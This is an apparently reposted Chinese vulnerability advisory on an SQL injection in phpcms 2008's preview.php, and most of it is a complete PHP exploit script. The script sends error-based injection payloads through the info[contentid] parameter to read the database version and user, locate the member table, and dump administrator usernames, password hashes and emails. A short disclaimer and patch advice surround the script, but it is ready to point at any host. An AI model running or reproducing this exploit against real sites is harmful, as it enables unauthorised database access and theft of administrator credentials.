zoukankan      html  css  js  c++  java
  • phpcms 2008 /preview.php SQL注入漏洞

    漏洞版本:

    phpcms 2008

    漏洞描述:

    phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。
    
    phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。

    测试方法:

    @Sebug.net   dis
    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. 可能使用的时候要更改一下User-Agent,否则注入不成功。
    2. 注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
    3. <?php
    4. /**
    5. * Created by 独自等待
    6. * Date: 13-11-24
    7. * Time: 下午8:36
    8. * Name: phpcms2008_preview.php
    9. * 独自等待博客:http://www.waitalone.cn/
    10. */
    11. print_r('
    12. +------------------------------------------------------+
    13. PHPCMS2008 preview.php 注入EXP
    14. Site:http://www.waitalone.cn/
    15. Exploit BY: 独自等待
    16. Time:2013-11-24
    17. +------------------------------------------------------+
    18. ');
    19. if($argc <3){
    20. print_r('
    21. +------------------------------------------------------+
    22. Useage: php '. $argv[0].' host path
    23. Host: target server (ip/hostname)
    24. Path: path of phpcms
    25. Example: php '. $argv[0].' localhost /phpcms
    26. +------------------------------------------------------+
    27. ');
    28. exit;
    29. }
    30. error_reporting(7);
    31. //统计时间
    32. $start_time = func_time();
    33. $host = $argv[1];
    34. $path = $argv[2];
    35. $cookie ='';//请把会员cookie写入此变量中
    36. if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
    37. if(preg_match('/MySQL Query/i', send_pack("'"))){
    38. //数据库版本
    39. $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
    40. echo '数据库版本:'. get_info($db_ver)." ";
    41. //数据库用户
    42. $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
    43. echo '数据库用户:'. get_info($db_user)." ";
    44. //获取用户表
    45. $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
    46. $member = get_info($db_member);
    47. //获取管理员数量
    48. $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
    49. $ad_count = get_info($db_count);
    50. echo '管理员表中共有--['. $ad_count .']--个管理员'." ";
    51. //显示注入数据
    52. foreach(range(0,($ad_count -1))as $i){
    53. $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
    54. echo '管理员['.($i +1).']-->'. get_info($ad_pass)." ";
    55. }
    56. }else{
    57. exit("报告大人,网站不存在此漏洞,你可以继续秒下一个! ");
    58. }
    59. //提取返回信息
    60. function get_info($info)
    61. {
    62. preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
    63. if(preg_match('/charset=utf-8/i', send_pack($info))){
    64. return iconv('utf-8','gbk//IGNORE', $match_string[1]);
    65. }else{
    66. return $match_string[1];
    67. }
    68. }
    69. //发送数据包函数
    70. function send_pack($cmd)
    71. {
    72. global $host, $path, $cookie;
    73. $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1 ";
    74. $data .="Host: ". $host ." ";
    75. $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 ";
    76. $data .="Cookie:". $cookie ." ";
    77. $data .="Connection: Close ";
    78. //echo $data;
    79. //这里一定要2个 否则将会一直等待并且不返回数据
    80. $fp =@fsockopen($host,80, $errno, $errstr,30);
    81. //echo ini_get('default_socket_timeout');//默认超时时间为60秒
    82. if(!$fp){
    83. echo $errno .'-->'. $errstr;
    84. exit('Could not connect to: '. $host);
    85. }else{
    86. fwrite($fp, $data);
    87. $back ='';
    88. while(!feof($fp)){
    89. $back .= fread($fp,1024);
    90. }
    91. fclose($fp);
    92. }
    93. return $back;
    94. }
    95. //时间统计函数
    96. function func_time()
    97. {
    98. list($microsec, $sec)= explode(' ', microtime());
    99. return $microsec + $sec;
    100. }
    101. echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
    102. ?>

    安全建议:

    目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本:http://www.phpcms.cn
  • 相关阅读:
    ApplicationContext
    消息队列种类
    Zookeeper的功能以及工作原理
    java多线程(1)模式 不可变对象
    dubbo容错,负载均衡,协议
    dubbo的底层原理
    消息事务处理
    多线程循环打印 abc
    Spring 事务管理
    文件上传和下载
  • 原文地址:https://www.cnblogs.com/security4399/p/3477338.html
Copyright © 2011-2022 走看看